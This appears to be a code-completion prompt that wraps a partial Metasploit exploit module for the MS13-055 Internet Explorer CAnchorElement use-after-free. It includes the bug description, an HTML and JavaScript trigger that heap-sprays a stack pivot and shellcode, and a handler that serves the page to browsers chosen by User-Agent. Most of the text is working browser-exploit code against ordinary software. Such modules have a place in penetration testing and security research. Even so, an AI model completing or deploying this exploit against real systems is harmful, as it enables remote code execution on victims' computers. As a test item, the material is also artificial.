You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ms13_055_canchor.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
      'Description'    => %q{
        In IE8 standards mode, it's possible to cause a use-after-free condition by first
        creating an illogical table tree, where a CPhraseElement comes after CTableRow,
        with the final node being a sub table element. When the CPhraseElement's outer
        content is reset by using either outerText or outerHTML through an event handler,
        this triggers a free of its child element (in this case, a CAnchorElement, but
        some other objects apply too), but a reference is still kept in function
        SRunPointer::SpanQualifier. This function will then pass on the invalid reference
        to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
        make a call to the object's SecurityContext virtual function at offset +0x70, which
        results a crash. An attacker can take advantage of this by first creating an
        CAnchorElement 
    
  def get_html(t, p)
    junk       = rand_text_alpha(4).unpack("V")[0].to_i
    js_pivot   = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
    js_payload = Rex::Text.to_unescape(p)
    js_align   = Rex::Text.to_unescape([t['Align']].pack("V*"))
    js_junk    = Rex::Text.to_unescape([junk].pack("V*"))

    q_id = Rex::Text.rand_text_alpha(1)

    %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>
  </head>
  <script>
    #{js_mstime_malloc}

    window.onload = function() {
      var x	= document.getElementById("#{q_id}");
      x.outerText = "";
      a = document.getElementById('myanim');

      p = '';
      for (i=0; i < 7; i++) {
        p += unescape("#{js_junk}");
      }
      p += unescape("#{js_payload}");

      fo = unescape("#{js_align}");
      for (i=0; i < 28; i++) {
        if (i == 27) { fo += unescape("#{js_pivot}"); }
        else         { fo += unescape("#{js_align}"); }
      }

      fo += p;

      mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
    }
  </script>
    <table>
    <tr>
    <div>
    <span>
    <q id='#{q_id}'>
    <a>
    <td></td>
    </a>
    </q>
    </span>
    </div>
    </tr>
    </table>
  <t:ANIMATECOLOR id="myanim"/>
</html>
    |
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    t = get_target(agent)

    if t
      p = get_payload(t)
      html = get_html(t, p)
      print_status("Sending exploit...")
      send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
    else
      print_error("Not a suitable target: #{agent}")
      send_not_found(cli)
    end
  end
end